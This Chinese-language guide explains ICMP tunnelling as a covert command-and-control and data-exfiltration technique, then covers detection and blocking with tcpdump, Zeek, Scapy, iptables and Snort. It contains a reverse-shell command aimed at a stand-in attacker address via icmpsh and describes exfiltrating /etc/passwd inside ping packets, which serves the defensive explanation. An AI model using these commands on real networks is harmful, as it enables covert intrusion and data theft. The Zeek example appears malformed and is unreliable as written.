
ICMP隧道,有时被称为“隐蔽的基于ping的攻击”,是一种隐蔽的网络攻击技术,恶意行为者将命令与控制(C2)流量或数据泄露活动隐藏在看似无害的互联网控制消息协议(ICMP)包中。由于ICMP通常用于ping请求,通常不被防火墙和入侵检测系统发现,因此对IT安全团队构成了严重挑战。
在本指南中,我们将解释什么是ICMP隧道,攻击者如何实施它,为什么它是规避检测的有吸引力的方法,以及最重要的——安全专业人员和网络管理员如何检测和防御ICMP隧道攻击。从初学者的解释到高级检测,包括真实案例和代码示例,用于扫描、监控和解析ICMP隧道活动的网络流量。
互联网控制消息协议(ICMP)是互联网协议套件的一个基本组成部分。它用于错误消息、网络诊断和状态消息传递。
关键事实:
ping)、目的地不可达、时间超时等。ping, traceroute)、网络设备之间的错误报告。当您发出以下命令:
ping google.com
您的计算机会生成一系列ICMP回波请求数据包,而Google(如果允许ping)将以ICMP回波答复数据包进行响应。
ICMP隧道是一种在ICMP数据包中封装任意有效载荷数据的技术。这些数据可能包括正在泄露的文件、shell命令,甚至整个TCP连接,所有这些都隐藏在看似正常的ping请求或答复中。
由于组织通常允许ICMP流量通过其外围防火墙(用于合法故障排除),攻击者利用这一信任传递隐藏数据或在网络中创建后门。
定义:
ICMP隧道是一种隐蔽通信方法,攻击者通过在ICMP数据包中编码恶意或未经授权的数据来绕过网络访问控制。
ICMP隧道利用ICMP数据包的结构(尤其是回波请求/答复)来携带额外的隐蔽数据。
icmpsh、ptunnel的工具或自定义脚本。一个普通的ICMP回波请求数据包可能如下所示:
| 字段 | 示例值 |
|---|---|
| 类型 | 8 (回波请求) |
| 代码 | 0 |
| 校验和 | 6920 |
| 标识符 | 13 |
| 序列号 | 250 |
| 数据 | "Hello, world!" |
一次ICMP隧道攻击可能会在“数据”部分中放置base64编码的泄露数据。
防火墙通常会阻止直接的外部连接(例如,出站SSH,通过HTTP/S的数据泄露)。
然而,ICMP经常被添加到白名单中以便于网络故障排除,甚至可以跨组织边界。
高级持续性威胁(APT)行为者使用ICMP隧道来管理受感染的主机、发送命令和提取文件,所有这些都不会引起典型的网络警报。
一系列开源进攻性安全工具支持ICMP隧道:
内部威胁或工作站上的恶意软件希望携带敏感文件出组织。
步骤:
/etc/passwd)被拆分、编码并隐藏在多个回波请求中。渗透测试者和攻击者部署类似icmpsh的工具:
icmpsh -t <attacker_ip>。报告显示APT和恶意软件(特别是Backdoor.Win32.ICMPdoor)利用ICMP隧道在高安全环境中进行长期访问,这些环境通常仅允许HTTP/HTTPS以及ICMP以外的所有出站流量。
ICMP隧道检测依赖于识别异常模式或检查ICMP数据包有效载荷。
一种用于检查ICMP流量的数据包捕获工具。
# 捕获所有ICMP流量,详细输出
sudo tcpdump -n -v icmp
示例可疑输出(已截断):
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024
注意:1024字节比正常ping ICMP有效载荷大得多!
一款图形化数据包分析器。
icmp一款功能强大的网络安全监控工具,具有内置ICMP脚本功能。
用于记录异常ICMP有效载荷的脚本:
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# 记录或警报大型有效载荷
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
}
}
Bash示例:记录所有出站ping有效载荷。
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Python示例:解析pcap文件以寻找异常ICMP有效载荷
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
为了积极寻找ICMP隧道的滥用,定期扫描和异常检测至关重要。
使用类似ELK stack, Zeek, Wireshark的工具:
实时查找最大ICMP数据包:
sudo tcpdump -ni eth0 icmp and greater 200
从转储中列出数据包大小:
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy:报告具有大有效载荷的回波请求
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
示例:使用iptables阻止出站ICMP
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Snort规则示例:
alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)
研究表明,无状态监控——跟踪ICMP数据包的流量和大小,而不仅仅是它们的状态或序列——可以作为低影响和可扩展的检测隧道方法。
根据Singh & Nordström,无状态模型可以有效识别隐蔽通道,同时不会显著影响终端主机或路由器的性能——即使在大规模应用时也如此。
ICMP隧道代表了一种低调且缓慢的威胁,它无缝融入到合法的网络操作中,使得蓝队的检测和防御变得具有挑战性。随着ICMP在诊断方面的广泛使用,以及组织经常允许这种流量通过防火墙,攻击者偏爱使用这种方式建立隐秘的命令和控制、泄露敏感数据或访问受感染的主机。
通过建立网络的合法ICMP活动基线并结合签名和基于异常的检测,您的组织可以在数据丢失或进一步破坏之前中和这种隐蔽的威胁向量。
保护您的外围设备——永远不要忽视简单的ping!